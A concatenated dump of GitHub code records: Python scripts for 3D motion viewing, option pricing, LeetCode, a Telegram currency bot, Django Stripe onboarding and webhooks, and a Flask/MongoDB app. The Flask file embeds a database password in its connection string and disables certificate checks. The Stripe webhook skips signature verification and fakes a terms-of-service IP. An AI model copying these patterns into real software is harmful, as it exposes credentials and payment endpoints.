list(range(len(joint_idxs)))\n    rbs = RigidBodies(joints[:, joint_idxs][:, sensor_sub_idxs].cpu().numpy(), oris[:, sensor_sub_idxs])\n\n    # Display the SMPL ground-truth with a semi-transparent mesh so we can see the IMUs.\n    smpl_seq = SMPLSequence(poses_body=poses[:, 3:], smpl_layer=smpl_layer, poses_root=poses[:, :3])\n    smpl_seq.mesh_seq.color = smpl_seq.mesh_seq.color[:3] + (0.5,)\n\n    # Add everything to the scene and display at 30 fps.\n    v = Viewer()\n    v.playback_fps = 30.0\n\n    v.scene.add(smpl_seq, rbs)\n    v.run()\n","repo_name":"eth-ait/aitviewer","sub_path":"examples/load_DIP_IMU.py","file_name":"load_DIP_IMU.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":397,"dataset":"github-code","pt":"19"}
{"seq_id":"10333500853","text":"# coding=utf-8\nfrom chinese_calendar import is_workday\nimport numpy as np\nimport pandas as pd\nfrom datetime import date, timedelta\nfrom scipy.stats import norm\nfrom math import exp, log, sqrt\nN = norm.cdf\nn = norm.pdf\n\ndef is_tradeday(date0):\n    # 判断是否为交易日, 传入一个 datetime.date 类型\n    if is_workday(date0) and date0.weekday()<5:\n        return True\n    else:\n        return False\n\ndef cal_tradeday(date1, date2):\n    # 计算两个日期之间的交易日个数，传入两个 datetime.date 类型\n\n    # 确保 date1 < date2\n    if date1 >date2:\n        d = date1\n        date1 = date2\n        date2 = d\n\n    n = 0  # 两个日期之间的交易日个数\n    delta_ = timedelta(days=1)\n    while True:\n        if date1.day == date2.day:\n            break\n        date1 += delta_\n        if is_tradeday(date1):\n            n+=1\n    return n\n\n\nclass Option:\n    def __init__(self, S0, K, sigma, q, r, t, multi, type):\n        # flag = 'call' or 'put'\n        # t直接传入交易日数即可\n        self.S0 = S0\n        self.K = K\n        self.sigma = sigma\n        self.r = r\n        self.q = q\n        self.t = t / 245\n        self.type = type\n        self.multi = multi\n        self.disc_r = exp(-self.r * self.t)\n        self.disc_q = exp(-self.q * self.t)\n        self.d1 = (log(self.S0 / self.K) + (self.r - self.q + self.sigma ** 2 / 2.\n                                            ) * self.t) / (self.sigma * sqrt(self.t))\n        self.d2 = self.d1 - self.sigma * sqrt(self.t)\n        self.delta = self.get_delta() * self.multi\n        self.theta = self.get_theta() * self.multi\n        self.gamma = self.get_gamma() * self.multi\n        self.vega = self.get_vega() * self.multi\n        self.cashdelta = self.delta * self.S0\n        self.cashgamma = self.gamma * self.S0 * self.S0 / 100\n        self.price = self.get_price() * self.multi\n\n    def get_price(self):\n        if self.type == 'call':\n            price = self.S0 * self.disc_q * N(self.d1) - self.K * self.disc_r * N(self.d2)\n        if self.type == 'put':\n            price = -self.S0 * self.disc_q * N(-self.d1) + self.K * self.disc_r * N(-self.d2)\n        return price\n\n    def get_delta(self):\n        if self.type == 'put':\n            delta = (N(self.d1) - 1) * self.disc_q\n        if self.type == 'call':\n            delta = N(self.d1) * self.disc_q\n        return delta\n\n    def get_theta(self):\n        if self.type == 'call':\n            theta = (- self.r * self.K * self.disc_r * N(self.d2)\n                     - self.S0 * self.sigma * self.disc_q * n(self.d1) / (2 * sqrt(self.t))\n                     + self.q * self.S0 * self.disc_q * N(self.d1)) / 245\n        if self.type == 'put':\n            theta = (+ self.r * self.K * self.disc_r * N(-self.d2)\n                     - self.S0 * self.sigma * self.disc_q * n(self.d1) / (2 * sqrt(self.t))\n                     - self.q * self.S0 * self.disc_q * N(-self.d1)) / 245\n        return theta\n\n    def get_gamma(self):\n        gamma = self.disc_q * n(self.d1) / (self.S0 * self.sigma * sqrt(self.t))\n        return gamma\n\n    def get_vega(self):\n        vega = self.S0 * self.disc_q * n(self.d1) * sqrt(self.t) / 100\n        return vega\n\n\nif __name__ == '__main__':\n    pos = pd.read_csv('20200930154324-Portfolio.csv')\n\n    c = Option(4.572756, 4.26, 0.314, 0.0561, 0.025, cal_tradeday(date(2020,9,30), date(2020,10,28)), 10330, 'call')\n    P = Option(4.572756, 4.26, 0.314, 0.0561, 0.025, cal_tradeday(date(2020,9,30), date(2020,10,28)), 10330, 'put')","repo_name":"xuzj123456/pythonfiles","sub_path":"project/zs1/sens_test.py","file_name":"sens_test.py","file_ext":"py","file_size_in_byte":3511,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"22156126273","text":"opcion = int(input('Ingrese una opcion \\n'))\n\nestudiante = {\n'Nombre': 'Juan',\n'Matem?ticas': 90,\n'Programaci?n': 100,\n'Ingl?s': 75,\n'Econom?a': 70,\n'Carrera':'Instrumentaci?n y automatizaci?n',\n'Semestre': 'Segundo',\n'A?o': '2020'\n}\n\n\nif(opcion == 1):\n    print(\"Ingrese clave a modificar \\n\")\n    llave = input()\n    if llave in estudiante.keys():\n        valor = str(input(\"Ingrese nuevo valor \\n\"))\n        estudiante[llave] = valor\n    else:\n        print(\"La llave no existe\")\n\nelif(opcion == 2):\n    print(\"Ingrese clave a visualizar\")\n    llave = str(input())\n    if llave in estudiante.keys():\n        print(estudiante[llave])\n    else:\n        print(\"La llave no existe\")\n\nelif(opcion == 3):\n    print(estudiante)\n\nelif(opcion == 4):\n    print(\"Ingrese clave a eliminar\")\n    llave = str(input())\n    if llave in estudiante.keys():\n        estudiante.pop(llave,None)\n        print(\"Clave\",llave, \"eliminada\")\n    else:\n        print(\"La llave no existe\")\n\nelif(opcion == 5):\n    print(\"Ingrese clave a insertar\")\n    llave = str(input())\n    print(\"Ingrese valr a insertar\")\n    valor = str(input())\n    estudiante[llave] = valor\n\nelse:\n    print(\"opcion ingresada no valida\")\n\n        \n        \n        \n        ","repo_name":"mygeone/tareas","sub_path":"ChristianVidal/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"72105638442","text":"def divide(self, dividend, divisor):\r\n    i=1\r\n    count=0\r\n    if divisor and dividend<0:\r\n        divisor= divisor*-1\r\n        dividend= dividend*-1\r\n        count=0\r\n    if divisor <0:\r\n        divisor= divisor*-1\r\n        count=1\r\n    if  dividend <0:\r\n        dividend= dividend*-1\r\n        count=1\r\n    if (-2**31) >= dividend and divisor >= (2**31) - 1:\r\n        return 0\r\n    \r\n    if divisor==0:\r\n        return 0\r\n    \r\n    while True:\r\n            \r\n        m= i * divisor\r\n        if m > dividend:\r\n            break\r\n        else:\r\n            i=i+1\r\n    \r\n    i=i-1\r\n    if count==1:\r\n        return -i\r\n    else:\r\n        return i\r\n\r\n\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndividend = -2147483648\r\n\r\ndivisor = -1\r\nf=divide(0, dividend, divisor)\r\nprint(f)","repo_name":"mahesh131998/leetcode","sub_path":"29.py","file_name":"29.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"42304357914","text":"from django.shortcuts import render, redirect\n# from gym.models import User,TrainerProfile\nfrom .models import StripeDetail, Individual, Company, ExternalAccount\nfrom .forms import IndividualForm, CompanyForm, ExternalAccountForm\nfrom django.contrib.auth.decorators import login_required\n\nfrom order.models import Order, OrderItem\n\nfrom django.http import HttpResponse\nimport requests\nfrom django.conf import settings\n\nimport json\nimport stripe\nimport time\n\nfrom django.template.loader import get_template\nfrom django.core.mail import EmailMessage\nfrom order.models import Order, OrderItem\nfrom session.models import Session, AvailableSession\n\nfrom django.views.decorators.http import require_POST\nfrom django.views.decorators.csrf import csrf_exempt\n\nstripe.api_key = settings.STRIPE_SECRET_KEY\n\n\n\n# @login_required\n# def stripe_register(request):\n#     # get stripe id public and secret key\n#     if (request.GET.get('stripe_register')):\n#         user_id = request.user.id\n#         import time\n#         def createStripeAcct():\n#             acct = stripe.Account.create(\n#                 country=\"GB\",\n#                 type=\"custom\"\n#                 )\n#             # print(acct.items)\n#             # acct_id = acct.id\n#             # print(acct.id)\n#             # acct.legal_entity.dob.day = 8\n#             # acct.legal_entity.dob.month = 7\n#             # acct.legal_entity.dob.year = 1992\n#             acct_keys = acct.items\n#             # print(acct.items())\n#             for x, y in acct_keys():\n#                 print(x,y)\n#             #     if x == 'keys':\n#             #         pub = y['publishable']\n#             #         sec = y['secret']\n#             return\n#\n#     createStripeAcct()\n#     # acct = stripe.Account.retrieve('acct_1DUJvLAO3xaCPEYY')\n#     # print(acct)\n\n\n\n\n\n@login_required\ndef stripe_register(request):\n    # get stripe id public and secret key\n    if (request.GET.get('stripe_register')):\n        user_id = request.user.id\n\n        def createStripeAcct():\n            acct = stripe.Account.create(\n                country=\"GB\",\n                type=\"custom\"\n                )\n            acct_id = acct.id\n            acct_keys = acct.items\n            for x, y in acct_keys():\n                if x == 'keys':\n                    pub = y['publishable']\n                    sec = y['secret']\n            return acct_id, pub, sec\n\n\n        stripe_deets = createStripeAcct()\n\n\n        try:\n            stripe_details = StripeDetail.objects.create(\n                user = request.user,\n                name = request.user.trainerprofile.name,\n                stripe_id = stripe_deets[0],\n                stripe_pub_key = stripe_deets[1],\n                stripe_secret_key = stripe_deets[2],\n            )\n            stripe_details.save()\n            return redirect('stripe:stripe_legal_type')\n\n        except IOError as e:\n                return e\n\n\n    else:\n\n        print('nothing to see here')\n        pass\n\n\n    return render(request, 'stripe_details/stripe_register.html')\n\n\n\n@login_required\ndef stripe_legal_type(request):\n    user_id = request.user.id\n    stripe_detail = StripeDetail.objects.get(user=user_id)\n\n\n    if (request.GET.get('individual')):\n        stripe_detail.legal_entity_type = 'individual'\n        stripe_detail.save()\n\n        return redirect('stripe:stripe_individual')\n    elif (request.GET.get('company')):\n        stripe_detail.legal_entity_type = 'company'\n        stripe_detail.save()\n        return redirect('stripe:stripe_company')\n\n\n\n    return render(request, 'stripe_details/stripe_legal_type.html')\n\n\n\n@login_required\ndef stripe_individual(request):\n    user_id = request.user.id\n\n    # make this a global variable\n    stripe_detail = StripeDetail.objects.get(user=user_id)\n\n    # to get the users stripe account id\n    stripe_account = stripe_detail.stripe_id\n\n    # function to send verification data to stripe\n    def send_to_stripe(stripe_detail):\n        individual = Individual.objects.get(stripe_detail=stripe_detail)\n\n        import time\n        acct = stripe.Account.retrieve(stripe_account)\n\n        acct.legal_entity.address.city = individual.legal_entity_address_city\n        acct.legal_entity.address.line1 = individual.legal_entity_address_line1\n        acct.legal_entity.address.postal_code = individual.legal_entity_address_postal_code\n        acct.legal_entity.dob.day = individual.legal_entity_dob_day\n        acct.legal_entity.dob.month = individual.legal_entity_dob_month\n        acct.legal_entity.dob.year = individual.legal_entity_dob_year\n        acct.legal_entity.first_name = individual.legal_entity_first_name\n        acct.legal_entity.last_name = individual.legal_entity_last_name\n        acct.legal_entity.type = 'individual'\n\n        acct.tos_acceptance.date = int(time.time())\n        acct.tos_acceptance.ip = '8.8.8.8' #TO BE REWORKED\n        acct.save()\n        print(acct)\n\n\n    if request.method == 'POST':\n        form = IndividualForm(request.POST)\n\n        if form.is_valid():\n            individual = form.save()\n            individual.stripe_detail = stripe_detail\n            individual.save()\n\n            send_to_stripe(stripe_detail)\n\n            return redirect('stripe:external_account')\n    else:\n        form = IndividualForm()\n\n    context = {'form': form}\n    return render(request,'stripe_details/stripe_individual.html', context)\n\n\n\n@login_required\ndef stripe_company(request):\n    user_id = request.user.id\n\n    # make this a global variable\n    stripe_detail = StripeDetail.objects.get(user=user_id)\n\n    # to get the users stripe account id\n    stripe_account = stripe_detail.stripe_id\n\n    # function to send verification data to stripe\n    def send_to_stripe(stripe_detail):\n        company = Company.objects.get(stripe_detail=stripe_detail)\n\n        import time\n        acct = stripe.Account.retrieve(stripe_account)\n\n        acct.legal_entity.dob.day = company.legal_entity_dob_day\n        acct.legal_entity.dob.month = company.legal_entity_dob_month\n        acct.legal_entity.dob.year = company.legal_entity_dob_year\n        acct.legal_entity.first_name = company.legal_entity_first_name\n        acct.legal_entity.last_name = company.legal_entity_last_name\n\n        acct.legal_entity.address.city = company.legal_entity_address_city\n        acct.legal_entity.address.line1 = company.legal_entity_address_line1\n        acct.legal_entity.address.postal_code = company.legal_entity_address_postal_code\n        acct.legal_entity.business_name = company.legal_entity_business_name\n        acct.legal_entity.business_tax_id  = company.legal_entity_type_business_tax_id\n        acct.legal_entity.personal_address.city = company.legal_entity_personal_address_city\n        acct.legal_entity.personal_address.line1 = company.legal_entity_personal_address_line1\n        acct.legal_entity.personal_address.postal_code = company.legal_entity_personal_address_postal_code\n\n        acct.legal_entity.type = 'company'\n\n        acct.tos_acceptance.date = int(time.time())\n        acct.tos_acceptance.ip = '8.8.8.8' #TO BE REWORKED\n        acct.save()\n        print(acct)\n\n    if request.method == 'POST':\n        form = CompanyForm(request.POST)\n\n        if form.is_valid():\n            company = form.save()\n            company.stripe_detail = stripe_detail\n            company.save()\n\n            send_to_stripe(stripe_detail)\n\n            return redirect('stripe:external_account')\n    else:\n        form = CompanyForm()\n\n    context = {'form': form}\n    return render(request,'stripe_details/stripe_company.html', context)\n\n\ndef external_account(request):\n    user_id = request.user.id\n\n    # make this a global variable\n    stripe_detail = StripeDetail.objects.get(user=user_id)\n\n    # to get the users stripe account id\n    stripe_account = stripe_detail.stripe_id\n\n\n    object = 'bank_account'\n    country = 'GB'\n    currency = 'gbp'\n    # external_account.object = object\n    # external_account.country = country\n    # external_account.currency = currency\n    # external_account.account_holder_type = stripe_detail.legal_entity_type\n\n\n    def send_to_stripe(stripe_detail):\n        external_account = ExternalAccount.objects.get(stripe_detail=stripe_detail)\n\n        account_holder_name = external_account.account_holder_name\n        account_holder_type = stripe_detail.legal_entity_type\n        account_number = external_account.account_number\n        routing_number = external_account.routing_number\n\n        import time\n        acct = stripe.Account.retrieve(stripe_account)\n        acct.external_accounts.create(\n            external_account = {\n                'object': object,\n                'country': country,\n                'currency': currency,\n                'account_holder_name':account_holder_name,\n                'account_holder_type': account_holder_type,\n                'account_number': account_number,\n                'routing_number': routing_number\n\n            }\n\n        )\n\n\n        acct.save()\n        print(acct)\n\n\n\n    if request.method == 'POST':\n        form = ExternalAccountForm(request.POST)\n\n        if form.is_valid():\n            account = form.save()\n            account.stripe_detail = stripe_detail\n            account.object = object\n            account.country = country\n            account.currency = currency\n            account.account_holder_type = stripe_detail.legal_entity_type\n            account.save()\n\n            send_to_stripe(stripe_detail)\n\n\n            return redirect('/')\n    else:\n        form = ExternalAccountForm()\n\n\n\n\n    context = {'form': form}\n    return render(request,'stripe_details/stripe_external_account.html', context)\n\n\n\n\n@require_POST\n@csrf_exempt\ndef stripe_webhooks(request):\n\n    # Retrieve the request's body and parse it as JSON:\n    details = json.loads(request.body)\n    # print(details)\n    type = details['type']\n    time.sleep(10)\n\n\n\n    if type == \"invoice.payment_succeeded\":\n        # print(details)\n        stripe_subscription_id = details['data']['object']['subscription']\n        stripe_invoice_id = details['data']['object']['id']\n        stripe_plan_id = details['data']['object']['lines']['data'][0]['plan']['id']\n        print(stripe_invoice_id)\n        print(stripe_subscription_id)\n\n        metadata = details['data']['object']['lines']['data'][0]['plan']['metadata']\n        client_name = metadata['client_name']\n        trainer_name = metadata['trainer_name']\n        token = metadata['token']\n        total = metadata['total']\n        stripe_fee = metadata['stripe_fee']\n        platform_fee = metadata['platform_fee']\n        service_fee = metadata['service_fee']\n        net_pay = metadata['net_pay']\n        client_email = metadata['client_email']\n        trainer_email = metadata['trainer_email']\n        subscription = metadata['subscription']\n        stripe_product_name = metadata['stripe_product_name']\n        sessions = metadata['sessions']\n        client_id = metadata['client_id']\n        trainer_id = metadata['trainer_id']\n        quantity = metadata['quantity']\n        workout_description = metadata['workout_description']\n        workout_name = stripe_product_name\n\n\n        # print(metadata)\n\n        order_subscription_id = Order.objects.get(stripe_subscription_id=stripe_subscription_id)\n        order_stripe_subscription_id = order_subscription_id.stripe_subscription_id\n\n        if order_stripe_subscription_id == stripe_subscription_id:\n            if order_subscription_id.stripe_invoice_id == 'None':\n                order_subscription_id.stripe_invoice_id = stripe_invoice_id\n                order_subscription_id.save()\n                print('invoice saved')\n            elif order_subscription_id.stripe_invoice_id != stripe_invoice_id:\n                print('create new order with sessions and emails')\n\n\n                try:\n                    order_details = Order.objects.create(\n                            client_name = client_name,\n                            trainer_name = trainer_name,\n                            token = token,\n                            total = total,\n                            stripe_fee = stripe_fee,\n                            platform_fee = platform_fee,\n                            service_fee = service_fee,\n                            net_pay = net_pay,\n                            client_email = client_email,\n                            trainer_email = trainer_email,\n                            subscription = subscription,\n                            stripe_subscription_id = stripe_subscription_id,\n                            stripe_invoice_id = stripe_invoice_id,\n                            stripe_product_name = stripe_product_name,\n                            stripe_plan_id = stripe_plan_id,\n\n                    )\n                    order_details.save()\n\n                    oi = OrderItem.objects.create(\n                            workout = workout_name,\n                            sessions = sessions,\n                            trainer_id = trainer_id,\n                            client_id = client_id,\n                            quantity = quantity,\n                            price = total,\n                            order = order_details,\n                            workout_description = workout_description,\n\n\n                    )\n                    oi.save()\n                        # the terminal will print confirmation\n                    print('order has been created')\n                    try:\n                        # Calling the sendEmail Function\n                        sendSubscriptionClientEmail(order_details.id)\n                        print('The order email has been sent')\n                        sendSubscriptionTrainerEmail(order_details.id)\n                    except IOError as e:\n                        return e\n\n                    # to get the sessions\n                    session_details = Session.objects.create(\n                                client_id = client_id,\n                                trainer_id = trainer_id,\n                                order = order_details,\n                                total_sessions = sessions,\n                                workout_name = workout_name\n                    )\n                    session_details.save()\n\n                    a_s = AvailableSession.objects.create(\n                            session = session_details,\n                            available_sessions = sessions,\n                    )\n                    a_s.save()\n                    print('all completed')\n\n\n                except ObjectDoesNotExist:\n                    pass\n\n\n\n            else:\n                print('nothing is happening!')\n\n\n    return HttpResponse(status=200)\n\n\n\ndef sendSubscriptionClientEmail(order_id):\n    transaction = Order.objects.get(id=order_id)\n    order_items = OrderItem.objects.filter(order=transaction)\n    try:\n        # sending the order to customer\n        subject = \"Sweatsite - Recurring Order#{}\".format(transaction.id)\n        to = ['{}'.format(transaction.client_email)]\n        print(to)\n        from_email = \"orders@sweatsite.com\"\n        order_information = {\n        'transaction': transaction,\n        'order_items': order_items\n        }\n        message = get_template('email/client_sub_email.html').render(order_information)\n        msg = EmailMessage(subject, message, to=to, from_email=from_email)\n        msg.content_subtype = 'html'\n        msg.send()\n    except IOError as e:\n        return e\n\ndef sendSubscriptionTrainerEmail(order_id):\n    transaction = Order.objects.get(id=order_id)\n    order_items = OrderItem.objects.filter(order=transaction)\n    try:\n        # sending the order to customer\n        subject = \"Sweatsite - Recurring Order #{}\".format(transaction.id)\n        to = ['{}'.format(transaction.trainer_email)]\n        print(to)\n        from_email = \"orders@sweatsite.com\"\n        order_information = {\n        'transaction': transaction,\n        'order_items': order_items\n        }\n        message = get_template('email/trainer_sub_email.html').render(order_information)\n        msg = EmailMessage(subject, message, to=to, from_email=from_email)\n        msg.content_subtype = 'html'\n        msg.send()\n    except IOError as e:\n        return e\n\n\n\n# order = 139\n# order item =136\n# session = 95\n# avail_session = 144\n\n\n    #\n","repo_name":"fayomi/sweatsite","sub_path":"stripe_details/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"22975338779","text":"from flask import Flask, request, make_response, redirect, render_template, session, url_for\r\nfrom pymongo import MongoClient\r\n\r\n\r\napp = Flask(__name__)\r\napp.secret_key = 'todoSuperSecreto'\r\n\r\n\r\nMONGO_URL_ATLAS = 'mongodb+srv://jaumecosta:rata@cluster0-bmlh7.mongodb.net/test'\r\n\r\nclient = MongoClient(MONGO_URL_ATLAS, ssl_cert_reqs=False)\r\ndb = client['denuncia_personas']\r\ncollection = db['denuncia']\r\n\r\n\r\n@app.route('/')\r\ndef index():\r\n    return redirect('/home')\r\n\r\n\r\n@app.route('/home', methods=['GET', 'POST'])\r\ndef home():\r\n    if request.method == 'POST':\r\n        global dni\r\n        dni = request.form.get('dni')\r\n        collection.insert_one({'dni': request.form.get('dni')})\r\n        return redirect(url_for('resultado'))\r\n    return render_template('home.html')\r\n\r\n\r\n@app.route('/resultado', methods=['GET', 'POST'])\r\ndef resultado():\r\n    if request.method == 'POST':\r\n        dni = request.form.get('dni')\r\n        localizacion = request.form.get('localizacion')\r\n        ficha_local = collection.insert_one(\r\n            {'dni': dni, 'localizacion': localizacion}\r\n        )\r\n        lista_total = collection.find(\r\n            {'dni': dni, 'localizacion': localizacion}\r\n\r\n        )\r\n        lista_total = list(lista_total)\r\n        limpio = []\r\n        for i in range(len(lista_total)):\r\n            limpio += list(lista_total[i].values())\r\n        return render_template('resultado.html', lista_total=limpio)\r\n\r\n\r\n@app.route('/imprimir', methods=['GET', 'POST'])\r\ndef imprimir():\r\n    if request.method == 'POST':\r\n        texto = request.form.get('texto')\r\n        ficha_local = collection.insert_one(\r\n            {'texto_denuncia': texto}\r\n        )\r\n    lista_total = collection.find(\r\n        {'texto_denuncia': texto}\r\n\r\n    )\r\n    lista_total = list(lista_total)\r\n    limpio = []\r\n    for i in range(len(lista_total)):\r\n        limpio += list(lista_total[i].values())\r\n    return render_template('resultado.html', lista_total=limpio)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    app.run('0.0.0.0', '5000', debug=True)\r\n","repo_name":"jaumecosta/denuncias","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"27668285879","text":"class Solution:\n    def wiggleSort(self, nums):\n        \"\"\"\n        Do not return anything, modify nums in-place instead.\n        \"\"\"\n        nums.sort()\n        print(nums)\n        rs = [None for _ in range(len(nums))]\n        ix = 0\n        cx = 0\n        while ix < len(nums):\n            rs[ix] = nums[cx]\n            cx += 1\n            ix += 2\n        print(rs)\n        while cx < len(nums):\n            ix = len(rs) - 1\n            while rs[ix]:\n                ix -= 1\n            rs[ix] = nums[cx]\n            cx += 1\n        for ix , i in enumerate(rs):\n            nums[ix] = i\n\n\n\n\n\nnums = [4,5,5,6]\n\ns = Solution()\ns.wiggleSort(nums)\nprint(nums)","repo_name":"wudangqibujie/my_st","sub_path":"数组/324. 摆动排序 II.py","file_name":"324. 摆动排序 II.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"43646027695","text":"import telebot\n\nfrom config import currencies, TOKEN\nfrom extensions import Exchange, ConverterExceptions\n\nbot = telebot.TeleBot(TOKEN)\n\n\n@bot.message_handler(commands=['start', 'help'])\ndef help(message: telebot.types.Message):\n    \"\"\"\nОбрабатывает команды начала и помощи\n    :param message: Полученное от пользователя сообщение с соответствующей командой\n    :return: Возвращает пользователю ответ в виде текста с описанием функционала\n    \"\"\"\n    text = \"тобы получить список доступных валют введите команду /values.\\n\" \\\n           \"Чтобы получить курс валют введите пару валют через пробел без скобок:\\n\" \\\n           \"<Имеющаяся валюта> <В какую надо конвертировать> <Количество имеющейся валюты>\\n\" \\\n           \"Например:\\n\" \\\n           \"доллар рубль 5\"\n    bot.send_message(message.chat.id, \"Привет \" + message.chat.first_name)\n    bot.send_message(message.chat.id, text)\n\n\n@bot.message_handler(commands=['values'])\ndef function_name(message: telebot.types.Message):\n    \"\"\"\nОбрабатывает цоманду пользователя по запросу имеющихся валют\n    :param message: Полученное от пользователя сообщение с соответствующей командой\n    :return: Возвращает пользователю ответ в виде списка доступных валют\n    \"\"\"\n    text = \"Доступные для конвертации валюты:\"\n    for key in currencies.keys():\n        text = '\\n'.join((text, key))\n    bot.send_message(message.chat.id, text)\n\n\n@bot.message_handler(content_types=['text'])\ndef reply_to_user(message: telebot.types.Message):\n    \"\"\"\nОбрабатывает сообщение с запрошенными валютами\n    :param message: Полученное от пользователя сообщение с валютами и количеством\n    :return: Возвращает пользователю ответ в виде курса валюты или сообшения об ошибке\n    \"\"\"\n    try:\n        received = message.text.split(\" \")\n\n        if len(received) != 3:\n            raise ConverterExceptions(\"Неверное количество параметров. Должно быть 3.\")\n\n        currency_from, currency_to, how_much = received\n\n        reply = Exchange.get_price(currency_from, currency_to, how_much)\n\n    except ConverterExceptions as e:\n        bot.send_message(message.chat.id, f\"Произшла ошибка:\\n{e}\")\n\n    except Exception as e:\n        bot.send_message(message.chat.id, f\"Что-то пошло не так:\\n{e}\")\n\n    else:\n\n        text = f\"Запрошенный курс из {currency_from} в {currency_to}:\\n\" \\\n               f\"За {how_much} {currency_from} Вы получите {reply} {currency_to}\"\n\n        bot.send_message(message.chat.id, text)\n\n\nbot.polling(none_stop=True)\n","repo_name":"nw371/DemoConverter","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3251,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"51512763223","text":"import copy\r\nimport re\r\n\r\n\r\nclass Blueprint:\r\n    def __init__(self, blueprint: str):\r\n        # formulate the regex to parse the raw blueprint\r\n        regex = r\"Blueprint (?P<id>[0-9]*): \"\r\n        regex += r\"Each ore robot costs (?P<ore_robot_ore>[0-9]*) ore. \"\r\n        regex += r\"Each clay robot costs (?P<clay_robot_ore>[0-9]*) ore. \"\r\n        regex += r\"Each obsidian robot costs (?P<obsidian_robot_ore>[0-9]*) ore \"\r\n        regex += r\"and (?P<obsidian_robot_clay>[0-9]*) clay. \"\r\n        regex += r\"Each geode robot costs (?P<geode_robot_ore>[0-9]*) ore \"\r\n        regex += r\"and (?P<geode_robot_obsidian>[0-9]*) obsidian.\"\r\n        match = re.match(regex, blueprint)\r\n        assert match, f\"invalid blueprint provided: {blueprint}\"\r\n        self._id = int(match[\"id\"])\r\n        # store every cost in the class\r\n        self._ore_robot_ore: int = int(match[\"ore_robot_ore\"])\r\n        self._clay_robot_ore: int = int(match[\"clay_robot_ore\"])\r\n        self._obsidian_robot_ore: int = int(match[\"obsidian_robot_ore\"])\r\n        self._obsidian_robot_clay: int = int(match[\"obsidian_robot_clay\"])\r\n        self._geode_robot_ore: int = int(match[\"geode_robot_ore\"])\r\n        self._geode_robot_obsidian: int = int(match[\"geode_robot_obsidian\"])\r\n        # store the robots and inventory in the instances list\r\n        self.INDEX_ORE_ROBOTS = 0\r\n        self.INDEX_CLAY_ROBOTS = 1\r\n        self.INDEX_OBSIDIAN_ROBOTS = 2\r\n        self.INDEX_GEODE_ROBOTS = 3\r\n        self.INDEX_ORE = 4\r\n        self.INDEX_CLAY = 5\r\n        self.INDEX_OBSIDIAN = 6\r\n        self.INDEX_GEODE = 7\r\n        self._instances: list[list[int]] = [\r\n            [\r\n                # store the robots in the instances\r\n                1,  # INDEX_ORE_ROBOTS\r\n                0,  # INDEX_CLAY_ROBOTS\r\n                0,  # INDEX_OBSIDIAN_ROBOTS\r\n                0,  # INDEX_GEODE_ROBOTS\r\n                # store the inventory in the instances\r\n                0,  # INDEX_ORE\r\n                0,  # INDEX_CLAY\r\n                0,  # INDEX_OBSIDIAN\r\n                0,  # INDEX_GEODE\r\n            ]\r\n        ]\r\n\r\n    def run_for_minutes(self, minutes: int) -> int:\r\n        cache: dict[str, bool] = {}\r\n        cache_hits: int = 0\r\n        prunes: int = 0\r\n        for minute in range(minutes):\r\n            new_instances: list[list[int]] = []\r\n            for instance in self._instances:\r\n                for new_instance in self._run_minute(instance):\r\n                    hash = self.hash(new_instance)\r\n                    if hash in cache:\r\n                        cache_hits += 1\r\n                    else:\r\n                        cache[hash] = True\r\n                        new_instances.append(new_instance)\r\n            # prune slow versions\r\n            max_geodes = max(instance[self.INDEX_GEODE] for instance in new_instances)\r\n            geode_target = max_geodes // 1\r\n            if geode_target:\r\n                before = len(new_instances)\r\n                new_instances = [instance for instance in new_instances if instance[self.INDEX_GEODE] >= geode_target]\r\n                prunes += before - len(new_instances)\r\n            self._instances = new_instances\r\n            print(\r\n                f\"minute: {minute:>01}: new blueprints: {len(self._instances)} \"\r\n                f\"[cache hits: {cache_hits}, prunes: {prunes}]\"\r\n            )\r\n        max_geodes = max(instance[self.INDEX_GEODE] for instance in self._instances)\r\n        self._instances = []  # clear the internal state to reduce memory usage\r\n        return max_geodes\r\n\r\n    def _run_minute(self, instance: list[int]) -> list[list[int]]:\r\n        new_instances: list[list[int]] = [instance]\r\n        # try building all robots while this instance does nothing\r\n        if instance[self.INDEX_ORE] >= self._ore_robot_ore:\r\n            new_instance = self._create_copy(instance)\r\n            new_instance[self.INDEX_ORE] -= self._ore_robot_ore\r\n            new_instance[self.INDEX_ORE_ROBOTS] += 1\r\n            new_instances.append(new_instance)\r\n        if instance[self.INDEX_ORE] >= self._clay_robot_ore:\r\n            new_instance = self._create_copy(instance)\r\n            new_instance[self.INDEX_ORE] -= self._clay_robot_ore\r\n            new_instance[self.INDEX_CLAY_ROBOTS] += 1\r\n            new_instances.append(new_instance)\r\n        if (\r\n            instance[self.INDEX_ORE] >= self._obsidian_robot_ore\r\n            and instance[self.INDEX_CLAY] >= self._obsidian_robot_clay\r\n        ):\r\n            new_instance = self._create_copy(instance)\r\n            new_instance[self.INDEX_ORE] -= self._obsidian_robot_ore\r\n            new_instance[self.INDEX_CLAY] -= self._obsidian_robot_clay\r\n            new_instance[self.INDEX_OBSIDIAN_ROBOTS] += 1\r\n            new_instances.append(new_instance)\r\n        if (\r\n            instance[self.INDEX_ORE] >= self._geode_robot_ore\r\n            and instance[self.INDEX_OBSIDIAN] >= self._geode_robot_obsidian\r\n        ):\r\n            new_instance = self._create_copy(instance)\r\n            new_instance[self.INDEX_ORE] -= self._geode_robot_ore\r\n            new_instance[self.INDEX_OBSIDIAN] -= self._geode_robot_obsidian\r\n            